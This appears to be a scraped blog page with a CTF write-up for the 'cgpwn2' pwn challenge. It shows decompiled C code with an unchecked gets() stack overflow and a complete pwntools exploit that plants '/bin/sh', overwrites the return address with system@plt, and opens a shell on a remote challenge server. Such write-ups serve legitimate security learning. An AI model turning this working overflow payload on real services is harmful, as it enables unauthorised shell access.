当前位置:网站首页>PWN attack and defense world cgpwn2
PWN attack and defense world cgpwn2
2022-07-02 00:00:00 【Day-3】

First , View the relevant contents of the file .
Throw in IDA View code in .
main function
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
hello();
puts("thank you");
return 0;
}
hello function
char *hello()
{
__int16 *p_s; // eax
char v1; // bl
unsigned int v2; // ecx
__int16 *v3; // eax
__int16 s; // [esp+12h] [ebp-26h] BYREF
int v6; // [esp+14h] [ebp-24h] BYREF
p_s = &s;
v1 = 30;
if ( ((unsigned __int8)&s & 2) != 0 )
{
s = 0;
p_s = (__int16 *)&v6;
v1 = 28;
}
v2 = 0;
do
{
*(_DWORD *)&p_s[v2 / 2] = 0;
v2 += 4;
}
while ( v2 < (v1 & 0x1Cu) );
v3 = &p_s[v2 / 2];
if ( (v1 & 2) != 0 )
*v3 = 0;
puts("please tell me your name");
fgets(name, 50, stdin);
puts("hello,you can leave some message here:");
return gets((char *)&s);
}
We can do it in name String left in “/bin/sh”, Then stack overflow , obtain shell.

To write exp:
from pwn import *
context(os='Linux',arch="x86",log_level="debug")
bin_sh_addr = 0x0804A080
elf = ELF('cgpwn2')
system_addr = elf.plt["system"]
content = 0
def main():
global day3
if content == 1:
day3 = process("cgpwn2")
else:
day3 =remote("111.200.241.244",64520)
payload = b'a' * (0x26 + 4) + p32(system_addr) + b'aaaa'
payload = payload + p32(bin_sh_addr)
day3.recvuntil("please tell me your name\n")
day3.sendline("/bin/sh")
day3.recvuntil("hello,you can leave some message here:\n")
day3.sendline(payload)
day3.interactive()
main()
Finally get Flag.
边栏推荐
- USB-IF协会与各种接口的由来
- S32Kxxx bootloader之UDS bootloader
- Material design component - use bottomsheet to show extended content (I)
- 记录一下大文件上传偶然成功偶然失败问题
- 正则表达式收集
- [must] bm41 output the right view of the binary tree [medium +]
- Linux CentOS7安装Oracle11g的超完美新手教程
- Li Kou today's question -241 Design priorities for operational expressions
- E-commerce RPA robot helps brand e-commerce to achieve high traffic
- Selectively inhibiting learning bias for active sampling
猜你喜欢

S32Kxxx bootloader之UDS bootloader

RPA教程01:EXCEL自动化从入门到实操

USB-IF协会与各种接口的由来
![[must] bm41 output the right view of the binary tree [medium +]](/img/a5/00b2f0df5ab448665a2b062d145e52.png)
[must] bm41 output the right view of the binary tree [medium +]

Is there a piece of code that makes you convinced by human wisdom

【QT】對於Qt MSVC 2017無法編譯的問題解决

ARP message header format and request flow

【.Net Core】程序相关各种全局文件

Review data desensitization system

牛客-练习赛101-推理小丑
随机推荐
Huawei HMS core joins hands with hypergraph to inject new momentum into 3D GIS
MySQL: the difference between insert ignore, insert and replace
algolia 搜索需求,做的快自闭了...
华为HMS Core携手超图为三维GIS注入新动能
vs2015 AdminDeployment.xml
.env.xxx 文件,加了常量,卻undefined
启牛学院开户安全的吗?开户怎么开?
Reproduction process and problems of analog transformer (ICLR 2022 Spotlight)
vs2015 AdminDeployment. xml
Three methods of finding inverse numbers
[QT] solve the problem that QT MSVC 2017 cannot compile
ADO.NET 之sqlConnection 对象使用摘要
【CMake】Qt creator 里面的 cmake 配置
Applet form verification encapsulation
LeetCode中等题题分享(5)
Linux CentOS7安装Oracle11g的超完美新手教程
USB-IF协会与各种接口的由来
Jielizhi Bluetooth headset quality control and production skills [chapter]
Windows10 install WSL (I) (wslregisterdistribution error)
第六章 数据流建模